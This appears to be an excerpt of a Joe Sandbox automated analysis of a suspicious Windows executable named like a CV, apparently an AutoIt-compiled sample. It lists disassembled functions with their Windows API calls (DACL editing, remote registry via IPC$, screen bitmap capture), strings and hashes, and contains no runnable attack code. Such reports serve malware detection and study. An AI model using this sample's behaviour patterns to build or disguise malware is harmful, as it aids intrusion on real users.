                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
                                                                          • String ID: *.*
                                                                          • API String ID: 34673085-438819550
                                                                          • Opcode ID: 666a24c4dc31ec6af145179594b08fe69202b8736253f4c4898c457b8581fad7
                                                                          • Instruction ID: a6f3246259290f0cf4a8b01b5dd9f4f23cb513ef74d14352746fc62601ba2047
                                                                          • Opcode Fuzzy Hash: 666a24c4dc31ec6af145179594b08fe69202b8736253f4c4898c457b8581fad7
                                                                          • Instruction Fuzzy Hash: 3C8192715043819FCB28DF65C845AAEBBE8BBC8344F149C2EF4C5C7291E770E9958B52
                                                                          Function 005FEEEB Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AB34E: GetWindowLongW.USER32(?,000000EB), ref: 005AB35F
                                                                          • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 005FEF3B
                                                                          • GetFocus.USER32 ref: 005FEF4B
                                                                          • GetDlgCtrlID.USER32(00000000), ref: 005FEF56
                                                                          • _memset.LIBCMT ref: 005FF081
                                                                          • GetMenuItemInfoW.USER32 ref: 005FF0AC
                                                                          • GetMenuItemCount.USER32(00000000), ref: 005FF0CC
                                                                          • GetMenuItemID.USER32(?,00000000), ref: 005FF0DF
                                                                          • GetMenuItemInfoW.USER32(00000000,-00000001,00000001,?), ref: 005FF113
                                                                          • GetMenuItemInfoW.USER32(00000000,?,00000001,?), ref: 005FF15B
                                                                          • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 005FF193
                                                                          • DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 005FF1C8
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
                                                                          • String ID: 0
                                                                          • API String ID: 1296962147-4108050209
                                                                          • Opcode ID: fc5aadfaccf1315deefff62c3424a76ee2ed134a66cbf50d15df95809bb9e99d
                                                                          • Instruction ID: 300d79c87ad08652eaa3ed65909b89d4c836be6783be6adddd9776e1b1324f8e
                                                                          • Opcode Fuzzy Hash: fc5aadfaccf1315deefff62c3424a76ee2ed134a66cbf50d15df95809bb9e99d
                                                                          • Instruction Fuzzy Hash: AC815A7150430AAFD720DF14C889ABBBFEABF88314F04492EFA9597291D7749905CB92
                                                                          Function 005CA867 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005CABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 005CABD7
                                                                            • Part of subcall function 005CABBB: GetLastError.KERNEL32(?,005CA69F,?,?,?), ref: 005CABE1
                                                                            • Part of subcall function 005CABBB: GetProcessHeap.KERNEL32(00000008,?,?,005CA69F,?,?,?), ref: 005CABF0
                                                                            • Part of subcall function 005CABBB: HeapAlloc.KERNEL32(00000000,?,005CA69F,?,?,?), ref: 005CABF7
                                                                            • Part of subcall function 005CABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 005CAC0E
                                                                            • Part of subcall function 005CAC56: GetProcessHeap.KERNEL32(00000008,005CA6B5,00000000,00000000,?,005CA6B5,?), ref: 005CAC62
                                                                            • Part of subcall function 005CAC56: HeapAlloc.KERNEL32(00000000,?,005CA6B5,?), ref: 005CAC69
                                                                            • Part of subcall function 005CAC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,005CA6B5,?), ref: 005CAC7A
                                                                          • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 005CA8CB
                                                                          • _memset.LIBCMT ref: 005CA8E0
                                                                          • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 005CA8FF
                                                                          • GetLengthSid.ADVAPI32(?), ref: 005CA910
                                                                          • GetAce.ADVAPI32(?,00000000,?), ref: 005CA94D
                                                                          • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 005CA969
                                                                          • GetLengthSid.ADVAPI32(?), ref: 005CA986
                                                                          • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 005CA995
                                                                          • HeapAlloc.KERNEL32(00000000), ref: 005CA99C
                                                                          • GetLengthSid.ADVAPI32(?,00000008,?), ref: 005CA9BD
                                                                          • CopySid.ADVAPI32(00000000), ref: 005CA9C4
                                                                          • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 005CA9F5
                                                                          • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 005CAA1B
                                                                          • SetUserObjectSecurity.USER32(?,00000004,?), ref: 005CAA2F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                          • String ID:
                                                                          • API String ID: 3996160137-0
                                                                          • Opcode ID: aa4418367badbc3ee595e07be9680d821cc18973916c6fc70b4702a81984238e
                                                                          • Instruction ID: 52594df3b27dca77e46189c0c9f51a4e670a6ed7bf0666cd953a70fac3c3c9e0
                                                                          • Opcode Fuzzy Hash: aa4418367badbc3ee595e07be9680d821cc18973916c6fc70b4702a81984238e
                                                                          • Instruction Fuzzy Hash: 3C51F9B190020AAFDF10DF94DD45EEEBF7ABF48304F14911AE915A6290DB35DA05CB61
                                                                          Function 005E9DC1 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 159windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetDC.USER32(00000000), ref: 005E9E36
                                                                          • CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 005E9E42
                                                                          • CreateCompatibleDC.GDI32(?), ref: 005E9E4E
                                                                          • SelectObject.GDI32(00000000,?), ref: 005E9E5B
                                                                          • StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 005E9EAF
                                                                          • GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,?,00000000), ref: 005E9EEB
                                                                          • GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 005E9F0F
                                                                          • SelectObject.GDI32(00000006,?), ref: 005E9F17
                                                                          • DeleteObject.GDI32(?), ref: 005E9F20
                                                                          • DeleteDC.GDI32(00000006), ref: 005E9F27
                                                                          • ReleaseDC.USER32(00000000,?), ref: 005E9F32
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                                          • String ID: (
                                                                          • API String ID: 2598888154-3887548279
                                                                          • Opcode ID: 9102e36a031a9d49209b05cc8ec282e04c4e4bd454994f8a57ed7eb14098ed54
                                                                          • Instruction ID: 140e4ec5cd976e91d7fd6541b61a3804040ffb3688d502f3c9e6832757fe4d92
                                                                          • Opcode Fuzzy Hash: 9102e36a031a9d49209b05cc8ec282e04c4e4bd454994f8a57ed7eb14098ed54
                                                                          • Instruction Fuzzy Hash: A1513A75900349AFCB15CFA9CC85EAEBBB9FF48350F14841EF99997210C731A941CB90
                                                                          Function 005DCC5C Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 155COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: LoadString__swprintf_wprintf
                                                                          • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                          • API String ID: 2889450990-2391861430
                                                                          • Opcode ID: fdaa44bd21e36433543da09d5ed21ad8268ebb6a345a831244f966646bb7b9e2
                                                                          • Instruction ID: 0c027e69626c33d3ac3b59902a15e0c215437daf7f1d8cdf58baa76cac3b4470
                                                                          • Opcode Fuzzy Hash: fdaa44bd21e36433543da09d5ed21ad8268ebb6a345a831244f966646bb7b9e2
                                                                          • Instruction Fuzzy Hash: BC516F7280021ABACF15EBA4CD4AEEEBF7AFF45304F100166B505761A2EB316F55DB60
                                                                          Function 005DCA48 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 151COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: LoadString__swprintf_wprintf
                                                                          • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                          • API String ID: 2889450990-3420473620
                                                                          • Opcode ID: 2a126b0bd9c47cdb0a65e08195e1772fd4b62baf7beb28eaba1c28fc3e5fdeed
                                                                          • Instruction ID: 5c0c8bf5c58023436e3466793d06b303a290362d3a49a26b76fa63f9047099fa
                                                                          • Opcode Fuzzy Hash: 2a126b0bd9c47cdb0a65e08195e1772fd4b62baf7beb28eaba1c28fc3e5fdeed
                                                                          • Instruction Fuzzy Hash: FF51813290021AAACF25EBE4CD4AEEEBF79BF44300F500056B505721A2EB746F59DF60
                                                                          Function 005F3C06 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 109COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CharUpperBuffW.USER32(?,?,?,?,?,?,?,005F2BB5,?,?), ref: 005F3C1D
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: BuffCharUpper
                                                                          • String ID: $Ed$HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                                          • API String ID: 3964851224-792017251
                                                                          • Opcode ID: 743e7e9c9d9c1198a4f943abab229442d234d02b55ac82857fb3c8f17295472a
                                                                          • Instruction ID: b40ecff192a2cf5cac5699d59323b00b7afa66330e53419b54ea9aed95b4c1c8
                                                                          • Opcode Fuzzy Hash: 743e7e9c9d9c1198a4f943abab229442d234d02b55ac82857fb3c8f17295472a
                                                                          • Instruction Fuzzy Hash: BC412E3011024E8BEF04EF14D856AFE3F66BF92390F504864ED555B296EF74AE1ACB50
                                                                          Function 005D55BD Relevance: 19.7, APIs: 13, Instructions: 213windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 005D55D7
                                                                          • GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 005D5664
                                                                          • GetMenuItemCount.USER32(00651708), ref: 005D56ED
                                                                          • DeleteMenu.USER32(00651708,00000005,00000000,000000F5,?,?), ref: 005D577D
                                                                          • DeleteMenu.USER32(00651708,00000004,00000000), ref: 005D5785
                                                                          • DeleteMenu.USER32(00651708,00000006,00000000), ref: 005D578D
                                                                          • DeleteMenu.USER32(00651708,00000003,00000000), ref: 005D5795
                                                                          • GetMenuItemCount.USER32(00651708), ref: 005D579D
                                                                          • SetMenuItemInfoW.USER32(00651708,00000004,00000000,00000030), ref: 005D57D3
                                                                          • GetCursorPos.USER32(?), ref: 005D57DD
                                                                          • SetForegroundWindow.USER32(00000000), ref: 005D57E6
                                                                          • TrackPopupMenuEx.USER32(00651708,00000000,?,00000000,00000000,00000000), ref: 005D57F9
                                                                          • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 005D5805
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                                          • String ID:
                                                                          • API String ID: 3993528054-0
                                                                          • Opcode ID: 7c6540d51c0e03e1499909c6ffb8819886eb53fbcb83f8f3c029e5c5cfb4521f
                                                                          • Instruction ID: 6e190743e7ea03fe740641c81e70b0c272eb20b73712eebaa105ebc6863e1fe8
                                                                          • Opcode Fuzzy Hash: 7c6540d51c0e03e1499909c6ffb8819886eb53fbcb83f8f3c029e5c5cfb4521f
                                                                          • Instruction Fuzzy Hash: B871E570641A15BFEB309B58DC49FAABF66FF40364F284207F6196A2D1E7719C10DB90
                                                                          Function 005CA14D Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 127registryshareCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 005CA1DC
                                                                          • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 005CA211
                                                                          • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 005CA22D
                                                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 005CA249
                                                                          • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 005CA273
                                                                          • CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 005CA29B
                                                                          • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 005CA2A6
                                                                          • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 005CA2AB
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset
                                                                          • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                          • API String ID: 1687751970-22481851
                                                                          • Opcode ID: 8ff89f1510325dfb1ba715d32035970b9f9ab60b30c5811f3c7b535927c9dcaa
                                                                          • Instruction ID: 48d1830625e5bff87ff79f3f12b75c69730d6eff29666fab02e20b3d763cea99
                                                                          • Opcode Fuzzy Hash: 8ff89f1510325dfb1ba715d32035970b9f9ab60b30c5811f3c7b535927c9dcaa
                                                                          • Instruction Fuzzy Hash: 4941D676C1022EAEDF11EBA4DC95EEDBB79FF48304F44412AF901A2161EB749E05DB50
                                                                          Function 005D67E9 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 107windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __swprintf.LIBCMT ref: 005D67FD
                                                                          • __swprintf.LIBCMT ref: 005D680A
                                                                            • Part of subcall function 005B172B: __woutput_l.LIBCMT ref: 005B1784
                                                                          • FindResourceW.KERNEL32(?,?,0000000E), ref: 005D6834
                                                                          • LoadResource.KERNEL32(?,00000000), ref: 005D6840
                                                                          • LockResource.KERNEL32(00000000), ref: 005D684D
                                                                          • FindResourceW.KERNEL32(?,?,00000003), ref: 005D686D
                                                                          • LoadResource.KERNEL32(?,00000000), ref: 005D687F
                                                                          • SizeofResource.KERNEL32(?,00000000), ref: 005D688E
                                                                          • LockResource.KERNEL32(?), ref: 005D689A
                                                                          • CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 005D68F9
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
                                                                          • String ID: 5d
                                                                          • API String ID: 1433390588-216003435
                                                                          • Opcode ID: 29c51bb2f96ce898498ae56bec9b8dce04c1f904cc2b61fb93b931192b768c4d
                                                                          • Instruction ID: 7eea72449ecaec38618345fa54d526d1fda1a0ade2597be04a400193cb6faff7
                                                                          • Opcode Fuzzy Hash: 29c51bb2f96ce898498ae56bec9b8dce04c1f904cc2b61fb93b931192b768c4d
                                                                          • Instruction Fuzzy Hash: FD318E7190021AABDB209F60DD59AFB7FA9FF08345F048427F912D6250E734DA52EBA0
                                                                          Function 005D25B5 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 74windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,006036F4,00000010,?,Bad directive syntax error,0062DC00,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 005D25D6
                                                                          • LoadStringW.USER32(00000000,?,006036F4,00000010), ref: 005D25DD
                                                                          • _wprintf.LIBCMT ref: 005D2610
                                                                          • __swprintf.LIBCMT ref: 005D2632
                                                                          • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 005D26A1
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: HandleLoadMessageModuleString__swprintf_wprintf
                                                                          • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                                          • API String ID: 1080873982-4153970271
                                                                          • Opcode ID: e97f0bdac05021fe8e6db2af75eaea7855b43f6d10dc7c13872d5430e2fa1661
                                                                          • Instruction ID: 9e67c813e03450be0c1178cb7fa62541bf331bf6ebd3b7f682f7efcd32bd1cc5
                                                                          • Opcode Fuzzy Hash: e97f0bdac05021fe8e6db2af75eaea7855b43f6d10dc7c13872d5430e2fa1661
                                                                          • Instruction Fuzzy Hash: 2D21323190022ABFCF12EF90CC5AEEE7F7AFF18304F044456F505661A2EA75A624DB50
                                                                          Function 005D7AD9 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 005D7B42
                                                                          • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 005D7B58
                                                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 005D7B69
                                                                          • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 005D7B7B
                                                                          • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 005D7B8C
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: SendString
                                                                          • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                                          • API String ID: 890592661-1007645807
                                                                          • Opcode ID: c02182da6ce32b1176d887ed60e84118123f49a59b8134cc4aa00dbc29906040
                                                                          • Instruction ID: 71f902b377a3582694797db3feb311e5542017f1ea1d675797e2f8de7a0573c1
                                                                          • Opcode Fuzzy Hash: c02182da6ce32b1176d887ed60e84118123f49a59b8134cc4aa00dbc29906040
                                                                          • Instruction Fuzzy Hash: A611B2A164026E79EB20B7A5CC4ADFF7E7DFBD5B10F00041BB451A62D1FA601A45C6B1
                                                                          Function 005D778F Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • timeGetTime.WINMM ref: 005D7794
                                                                            • Part of subcall function 005ADC38: timeGetTime.WINMM(?,76C1B400,006058AB), ref: 005ADC3C
                                                                          • Sleep.KERNEL32(0000000A), ref: 005D77C0
                                                                          • EnumThreadWindows.USER32(?,Function_00047744,00000000), ref: 005D77E4
                                                                          • FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 005D7806
                                                                          • SetActiveWindow.USER32 ref: 005D7825
                                                                          • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 005D7833
                                                                          • SendMessageW.USER32(00000010,00000000,00000000), ref: 005D7852
                                                                          • Sleep.KERNEL32(000000FA), ref: 005D785D
                                                                          • IsWindow.USER32 ref: 005D7869
                                                                          • EndDialog.USER32(00000000), ref: 005D787A
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
